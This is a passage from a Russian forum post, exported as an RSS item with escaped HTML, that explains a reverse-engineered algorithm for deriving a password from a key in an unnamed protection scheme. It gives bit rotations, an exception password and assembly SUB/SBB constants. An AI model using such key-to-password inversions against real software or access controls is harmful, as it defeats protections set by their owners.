операции&lt;br /&gt;сворачивания&amp;#160; пароля&amp;#160; в&amp;#160; ключ&amp;#160; нашлась&amp;#160; ОБРАТНАЯ,&amp;#160; хотя&amp;#160; и&amp;#160; осязаемая,&amp;#160; в&lt;br /&gt;основном,&amp;#160; на&amp;#160; подсознательном&amp;#160; уровне&amp;#160; !&amp;#160; Особый&amp;#160; случай,&amp;#160; который,&amp;#160; как&lt;br /&gt;оказалось&amp;#160; соответствует&amp;#160; &amp;#160;некоторому&amp;#160; &amp;#160;диапазону&amp;#160; &amp;#160;ключей,&amp;#160; &amp;#160;учитывается&lt;br /&gt;небольшой коррекцией процесса такого вычитания.&lt;/p&gt;
						&lt;p&gt;Родившийся&amp;#160; в&amp;#160; результате&amp;#160; обратный алгоритм правильнее отнести к области&lt;br /&gt;творчества душевнобольных. :) Я его сам до конца не понимаю, но,&amp;#160; тем&amp;#160; не&lt;br /&gt;менее,&amp;#160; считает&amp;#160; он правильно. Во всяком случае, когда я его записывал, я&lt;br /&gt;как-то&amp;#160; доказал&amp;#160; его&amp;#160; правильность.&amp;#160; Только&amp;#160; сейчас&amp;#160; совершенно&amp;#160; не&amp;#160; могу&lt;br /&gt;вспомнить&amp;#160; как.&amp;#160; :(&amp;#160; Поэтому&amp;#160; прежде,&amp;#160; чем&amp;#160; выставлять&amp;#160; его&amp;#160; на&amp;#160; всеобщее&lt;br /&gt;обозрение, тупо проверил все варианты ключей от 0000:0000 до FFFF:FFFF за&lt;br /&gt;сутки счета на 486DX-66. Все, до&amp;#160; единого,&amp;#160; сгенерированные&amp;#160; пароли&amp;#160; были&lt;br /&gt;правильны ! Как удивительно ... :)&lt;/p&gt;
						&lt;p&gt;Логика (здесь это слово звучит кощунственно) алгоритма&lt;br /&gt;1.) Вращать ключ 14 раз вправо (или 18 раз влево - без разницы).&lt;br /&gt;2.) Если ключ - 0000:0054, то пароль &amp;quot;GGGOKCCCX&amp;quot; {пароль-исключение}.&lt;br /&gt;&amp;#160; &amp;#160; Стоп.&lt;br /&gt;3.) Если ключ в диапазоне 0000:0000 - 0000:0053, то RIP-перенос = 1,&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;в противном случае RIP-перенос = 0.&lt;br /&gt;4.) Кольцевым вычитанием вычесть из ключа (DX:AX) фиксированные биты&lt;br /&gt;&amp;#160; &amp;#160; пароля :&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; SUB&amp;#160; &amp;#160; &amp;#160;AX,0010101000000000B&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; SBB&amp;#160; &amp;#160; &amp;#160;DX,0100101010010101B&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; SBB&amp;#160; &amp;#160; &amp;#160;AX,(0000000001010100B минус RIP-перенос)&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; SBB&amp;#160; &amp;#160; &amp;#160;DX,0&amp;#160; &amp;#160; ;ну разве не прелесть, как заем пробегает по&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; SBB&amp;#160; &amp;#160; &amp;#160;AX,0&amp;#160; &amp;#160; ;кольцу при таком фантастическом вычитании ? :)&lt;br /&gt;&amp;#160; &amp;#160; Мы получили варьируемые биты пароля.&lt;br /&gt;5.) Имплантировать&amp;#160; полученные&amp;#160; варьируемые&amp;#160; биты пароля в заготовки&amp;#160; для&lt;br /&gt;&amp;#160; &amp;#160; символов и напечатать полученный пароль.&lt;/p&gt;
						&lt;p&gt;В алгоритме осталось обьяснить&amp;#160; один&amp;#160; штрих.&amp;#160; Вместо&amp;#160; того,&amp;#160; чтобы&amp;#160; прямо&lt;br /&gt;печатать&amp;#160; на&amp;#160; экране&amp;#160; пароль-исключение&amp;#160; &amp;quot;GGGOKCCCX&amp;quot;,&amp;#160; одна&amp;#160; из костант в&lt;br /&gt;алгоритме портится так, чтобы именно этот пароль&amp;#160; и&amp;#160; получался.&amp;#160; Так&amp;#160; что&lt;br /&gt;никакого&amp;#160; особого&amp;#160; смысла&amp;#160; в&amp;#160; команде INC Masks[8] нет. Она случайно дает&lt;br /&gt;именно такой результат, какой нужен. Но алгоритму это добавило&amp;#160; некоторой&lt;br /&gt;доли изящества.&lt;/p&gt;
						&lt;p&gt;Тем,&amp;#160; кто&amp;#160; не знает ассемблера, я приношу свои извинения. Как же все таки&lt;br /&gt;записать на языке высокого уровня цепочку&lt;/p&gt;
						&lt;p&gt;SUB AX,Const_1&amp;#160; SBB DX,Const_2&amp;#160; SBB AX,Const_3&amp;#160; SBB DX,0&amp;#160; SBB AX,0&lt;/p&gt;
						&lt;p&gt;(&amp;#160; или вариант - SUB EAX,Const_1_&amp;#160; SBB EAX,Const_2_&amp;#160; SBB EAX,0&amp;#160; )&lt;/p&gt;
						&lt;p&gt;без&amp;#160; извращений,&amp;#160; затеняющих&amp;#160; еe&amp;#160; трансфинитную&amp;#160; :)&amp;#160; суть,&amp;#160; я&amp;#160; так&amp;#160; и&amp;#160; не&lt;br /&gt;додумался. :(&lt;/p&gt;</description>
			<author>mybb@mybb.ru (2525)</author>
			<pubDate>Wed, 05 Dec 2007 21:45:13 +0300</pubDate>
			<guid>https://viktoro2007.apbb.ru/viewtopic.php?pid=19#p19</guid>
		</item>
	</channel>
</rss>
